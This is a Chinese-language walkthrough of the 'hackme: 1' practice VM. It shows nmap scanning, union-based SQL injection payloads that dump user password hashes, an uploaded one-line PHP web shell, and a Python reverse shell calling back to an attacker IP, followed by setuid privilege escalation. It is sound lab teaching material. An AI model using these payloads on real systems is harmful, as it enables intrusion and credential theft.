一、靶机搭建
选择扫描虚拟机

选择路径即可

二、信息收集
靶机信息
bash
Name: hackme: 1
Date release: 18 Jul 2019
难度:初级,目标是通过web漏洞获得有限的权限访问,随后权限以root身份升级。这个实验室是为了模拟现实生活环境而创建的。
"hackme"使用DHCP,在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重启机器,随后它应该可以正常工作。
hint:本节介绍已收集到的有关该版本的各种信息,例如网页和/或自述文件中的引文。
扫ip
靶机ip:192.168.108.150

扫开放端口和服务
开放了22和80端口

信息如下:
bash
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
指纹探测
使用以下命令
bash
nmap 192.168.108.150 -p 22,80 -sV -sC -O --version-all

信息如下:
bash
运行系统: Linux 3.X|4.X
操作系统CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS 详情: Linux 3.2 - 4.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录扫描
先看看dirb扫描

试试dirsearch扫描

信息如下:
bash
http://192.168.108.150/uploads #文件上传
http://192.168.108.150/config.php #配置信息
http://192.168.108.150/login.php #登录界面
http://192.168.108.150/logout.php #登出界面
http://192.168.108.150/register.php #注册界面
三、Web渗透
信息收集
主页面

由于其他页面无法正常访问,只有一个uploads,也没有什么可以利用的信息

回去注册一个账户并登录

是一个查询界面,查询书名

点击search 先看看,看来有数据库,可能是sql注入

抓包看一下,存在注入点

sql注入
判断类型
无回显,看来需要注释符

是字符型注入

由于之前search查询出来的结果,该数据库存在三个字段
爆数据库名和版本号
sql
-1' union select version(),database(),3#
数据库:webapphacking

爆表名
sql
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="webapphacking"#
数据表名称:books,users
- group_concat() :将多行表的结果合并到一行
- information_schema.tables :是一个系统数据库,它存储了所有数据库、表、列等的元数据。在这里,攻击者查询的是
tables
表,目的是获取所有表的名字。 - table_schema:指定数据库名称

爆users表下的列
获取users表的列名
sql
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="users"#
id,user,pasword,name,address
group_concat() :将多行列的结果合并到一行
select group_concat(column_name),2,3:将结果输出全部在第一字段里,2和3是为了填充查询列,避免出错

获取users表下的用户和密码
sql
-1' union select group_concat(user),group_concat(pasword),3 from users#
这里有很多用户以及他们密码的md5值,我们看比较重要的,superadmin ,2386acb2cf356944177746fc92523983

查询一下,密码:Uncrackable

文件上传
重新登录

如下,有一个文件上传点,结合之前扫描出来的文件上传页面进行文件上传

访问uploads界面,可以正常上传,且可以访问

上传一个php文件,名为nc.php
php
track
<?php system($_GET["a"]); ?>
上传成功

执行一下系统命令试试,成功执行

文件上传反弹shell
kali开启监听

利用python反弹shell
php
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权
进入环境先信息收集一波,不过目录是web服务下的,没什么可用信息

进入**/home** 目录查看,发现两个可疑文件夹,hackme和legacy,访问hackme看看

存在两个可疑文件,但不知道怎么利用,进入另一个目录看看,发现一个脚本

- s: 设置用户ID位(setuid),表示当用户执行这个文件时,进程将以文件所有者的权限运行。
ok,直接把提权脚本给我们了,执行该脚本

提权成功